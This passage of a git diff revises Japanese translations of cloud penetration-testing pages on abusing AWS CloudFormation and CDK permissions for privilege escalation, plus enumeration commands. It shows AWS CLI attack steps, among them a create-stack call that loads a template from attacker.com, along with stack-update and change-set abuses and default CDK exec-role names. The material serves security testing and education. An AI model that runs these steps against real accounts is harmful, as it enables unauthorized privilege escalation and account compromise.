cloudformation create-stack --stack-name \ --template-url http://attacker.com/attackers.template \ --role-arn ``` -以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイトの例** があります: +以下のページには、追加の権限 **`cloudformation:DescribeStacks`** を持つ **エクスプロイト例**があります: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -28,7 +28,7 @@ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -この場合、**既存のcloudformationスタックを悪用**して更新し、前のシナリオのように権限を昇格させることができます: +この場合、**既存のcloudformationスタックを悪用**して、それを更新し、前のシナリオのように権限を昇格させることができます: ```bash aws cloudformation update-stack \ --stack-name privesc \ @@ -37,15 +37,15 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を付与**し、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 **潜在的な影響:** 指定された cloudformation サービスロールへの権限昇格。 ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -この権限を持っているが、**`iam:PassRole`** がない場合でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。 +この権限を持っているが **`iam:PassRole` がない場合**でも、**使用されているスタックを更新**し、**既に添付されている IAM ロールを悪用**することができます。悪用の例については前のセクションを確認してください(更新時にロールを指定しないでください)。 -`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `UpdateStack` 権限を付与**し、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、**自分に `UpdateStack` 権限を与え**、攻撃を実行できます。 **潜在的な影響:** 既に添付されている cloudformation サービスロールへの権限昇格。 @@ -53,7 +53,7 @@ aws cloudformation update-stack \ ロールを**渡し、ChangeSet を作成および実行する**権限を持つ攻撃者は、**新しい cloudformation スタックを作成/更新し、cloudformation サービスロールを悪用**することができます。これは CreateStack または UpdateStack と同様です。 -以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack のバリエーション**](#iam-passrole-cloudformation-createstack)です。 +以下の悪用は、**ChangeSet 権限を使用してスタックを作成する**[ **CreateStack の**](#iam-passrole-cloudformation-createstack) **バリエーションです。** ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -79,27 +79,27 @@ aws cloudformation describe-stacks \ --stack-name privesc \ --region eu-west-1 ``` -`cloudformation:SetStackPolicy` 権限を使用して、**自分に `ChangeSet` 権限を与え**、攻撃を実行できます。 +`cloudformation:SetStackPolicy` 権限を使用して、**スタックに対して `ChangeSet` 権限を付与**し、攻撃を実行できます。 **潜在的な影響:** cloudformation サービスロールへの権限昇格。 ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -これは前の方法と似ていますが、**IAM ロール**を渡さずに行うため、**すでにアタッチされているロールを悪用する**ことができます。パラメータを変更するだけです: +これは、**IAM ロール**を渡さずに前の方法と同様で、すでにアタッチされているロールを**悪用する**ことができます。パラメータを変更するだけです: ``` --change-set-type UPDATE ``` -**潜在的影響:** すでにアタッチされているcloudformationサービスロールへの権限昇格。 +**潜在的影響:** 既にアタッチされているcloudformationサービスロールへの権限昇格。 ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用することができます。 +攻撃者はこれらの権限を悪用してStackSetsを作成/更新し、任意のcloudformationロールを悪用する可能性があります。 **潜在的影響:** cloudformationサービスロールへの権限昇格。 ### `cloudformation:UpdateStackSet` -攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用することができます。 +攻撃者はpassRole権限なしでこの権限を悪用してStackSetsを更新し、アタッチされたcloudformationロールを悪用する可能性があります。 **潜在的影響:** アタッチされたcloudformationロールへの権限昇格。 @@ -109,15 +109,15 @@ AWS cdkは、ユーザーが既に慣れ親しんでいる言語でインフラ CDKを使用するには、管理者ユーザーが最初にアカウントをブートストラップする必要があり、これによりいくつかのIAMロールが作成されます。これには、\*/\*権限を持つ*exec role*が含まれます。これらのロールは、`cdk----`という命名構造に従います。ブートストラッピングは、アカウントごとに地域ごとに一度行う必要があります。 -デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、それらを手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、`cfn-exec`ロールを使用してCFNが任意のリソースをデプロイできるようにし、アカウントを完全に侵害します。 +デフォルトでは、CDKユーザーはCDKを使用するために必要なロールをリストするアクセス権を持っていないため、手動で特定する必要があります。開発者のマシンやCI/CDノードを侵害した場合、これらのロールを引き受けてCFNテンプレートをデプロイする能力を自分に付与することができ、アカウントを完全に侵害することになります。 ### ロール名の特定 `cloudformation:DescribeStacks`を持っている場合、ロールは`CDKToolkit`というスタックに定義されており、そこから名前を取得できます。 -CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`からそれらを取得できます。 +CDKプロジェクトのビルドとデプロイに使用されたマシンにいる場合、プロジェクトのルートディレクトリにある`cdk.out/manafest.json`から取得できます。 -また、それらが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにするためにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。 +また、ロールが何であるかを良い推測をすることもできます。`qualifier`は、CDKブートストラップの複数のインスタンスを同時にデプロイできるようにロールに追加される文字列ですが、デフォルト値は`hnb659fds`にハードコーディングされています。 ``` # Defaults cdk-hnb659fds-cfn-exec-role-- diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index cffff6f45..5959c4889 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理にかかる時間を最小限に抑えることで、AWS上で実行されているアプリケーションにより集中できる**ようになります。このサービスのコア機能は**テンプレート**であり、これは希望するAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 +AWS CloudFormationは、**AWSリソースの管理を効率化するために設計されたサービス**です。これにより、ユーザーは**リソース管理に費やす時間を最小限に抑えることで、AWS上で実行されているアプリケーションにより集中できる**ようになります。このサービスのコア機能は**テンプレート**であり、これは希望するAWSリソースの記述モデルです。このテンプレートが提供されると、CloudFormationは指定されたリソースの**プロビジョニングと構成**を担当します。この自動化により、AWSインフラストラクチャのより効率的でエラーのない管理が促進されます。 ### Enumeration ```bash @@ -31,7 +31,7 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ``` ### Privesc -以下のページでは、**cloudformationの権限を悪用して特権を昇格させる方法**を確認できます: +以下のページでは、**cloudformationの権限を悪用して特権を昇格させる**方法を確認できます: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -64,7 +64,7 @@ aws codestar describe-user-profile --user-arn ``` ### プライバシー昇格 -次のページでは、**codestarの権限を悪用して権限を昇格させる方法**を確認できます: +次のページでは、**codestarの権限を悪用して特権を昇格させる方法**を確認できます: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/